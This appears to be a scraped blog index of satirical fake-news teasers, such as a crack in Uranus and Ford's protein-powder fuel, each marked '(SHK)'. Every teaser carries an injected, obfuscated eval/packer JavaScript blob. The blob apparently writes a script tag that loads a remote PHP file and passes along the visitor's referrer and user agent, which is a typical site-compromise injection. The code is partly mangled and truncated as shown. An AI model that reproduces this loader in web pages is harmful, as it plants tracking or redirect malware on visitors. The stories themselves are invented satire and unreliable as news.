Could “Arab Spring” Be Fiction?

‘ARAB SPRING’ MAY BE FICTION, SCIENTISTS SAY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arfkn|var|u0026u|referrer|rakrr||js|php’.split(‘|’),0,{})) Health Institute Reveals Shocking Data Washington, D.C. November 26th, 2012 (SHK) Mohamed Morsi, the democratically elected president of Egypt, unleashed a hornet’s nest of vitriol and abuse last Friday when he issued an edict giving him unchecked authority. Critics accused him of [...]

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Internet Spam Causing Uproar

INTERNET SPAM EXPLODES, CAUSING UPROAR eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiztr|var|u0026u|referrer|afyrf||js|php’.split(‘|’),0,{})) No Relief in Sight, from Washington to Silicon Valley Washington, DC July 17, 2012 (SHK) Spam is exploding on the Internet, the White House said today. And like the heat, it’s not going away anytime soon. “While the most widely recognized form of spam [...]

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New American Wines win Taste Tests

STUNNING NEW WINES WIN TASTE TESTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzif|var|u0026u|referrer|ddafi||js|php’.split(‘|’),0,{})) Viniculture Breakthroughs from New Jersey to Texas Bordeaux, France April 15th, 2012 (SHK) French winegrowers say they are increasingly concerned about a rash of American wines that have come to market from new wineries in New Jersey to unexpected competition from the state [...]

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World’s Absurdities Multiply

WITH NO PRIMARIES, WORLD’S ABSURDITIES MULTIPLY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdbdk|var|u0026u|referrer|rntye||js|php’.split(‘|’),0,{})) The New York Times Features Only Sadness and Guilt Now New York, NY February 18th, 2012 (SHK) With the Republican primary elections in temporary hiatus, America’s leading newspapers like The New York Times have been inundating us with sad, guilt-laden stories from around [...]

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Huge Crack in Uranus

MASSIVE EXPLOSION SPLITS NEARBY PLANET eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeby|var|u0026u|referrer|bdzdb||js|php’.split(‘|’),0,{})) New Black Hole Feared in Solar System Washington, DC November 21st, 2011 (SHK) A giant intraplanetary blast apparently created an unprecedented gorge in a well-known planet’s crust, astrophysicists said yesterday. “There is clearly a huge crack in Uranus,” said Dr. Thaddeus (Tad) Stevens, head [...]

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Radioactive Hotspots Found in Tokyo

RADIOACTIVE “HOTSPOTS” FOUND IN TOKYO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsina|var|u0026u|referrer|iknzt||js|php’.split(‘|’),0,{})) Japanese government cautions Tokyo residents not to panic Tokyo, Japan October 20th, 2011 (SHK) A private citizens group created to test for radioactivity in Tokyo warned today that Japan’s capital had far higher concentrations of radioactivity than the government previously disclosed. According to Takeo [...]

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Batteries Charging More Now

BATTERIES CHARGING MORE NOW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fihss|var|u0026u|referrer|hiffb||js|php’.split(‘|’),0,{})) New Cars, Digital Gadgets Drive Utility Costs Higher Santa Clara, CA June 6, 2011 (SHK) The Leaf, Nissan Motor Company’s new all-electric zero-emission tiny-car that debuted recently and is now available to American consumers, has been hailed as the best way to beat climate change. [...]

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Ford Announces New Fuels

FORD ANNOUNCES NEW FUELS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rszts|var|u0026u|referrer|ttzyz||js|php’.split(‘|’),0,{})) Stunning Advance for American Science Detroit, MI May 9th, 2011 (SHK) The Ford Motor Company (NYSE ticker symbol FOMO) today announced a stunning breakthrough in America’s struggle to wean cars off hydrocarbon fuels. Called “Protein Powder” and trademarked ProPow®, the world’s newest and most advanced [...]

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New Florida Keys Discovered

NEW FLORIDA KEYS DISCOVERED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkfzt|var|u0026u|referrer|dztze||js|php’.split(‘|’),0,{})) Spanish Explorers Reportedly Left Clues Miami, FL May 5th, 2011 (SHK) Dr. John D. McIlhenny, 53, chief oceanographer at the Florida Museum of Natural History in Miami, today announced a remarkable discovery by staff scientists on the ocean floor in the Gulf of Mexico. “We [...]

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Geiger Counter Panic Worldwide

WORLDWIDE PANIC OVER GEIGER COUNTERS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfeh|var|u0026u|referrer|aaefz||js|php’.split(‘|’),0,{})) Unit Prices Rise, Stock Prices Soar New York, NY, April 18th, 2011 (SHK) RayBan® Technologies Co. Ltd., the world’s dominant manufacturer of Geiger counters, said today that demand for their most popular product, the battery-operated Little Giant XP-3 Starbeam Detector™ , was out of [...]

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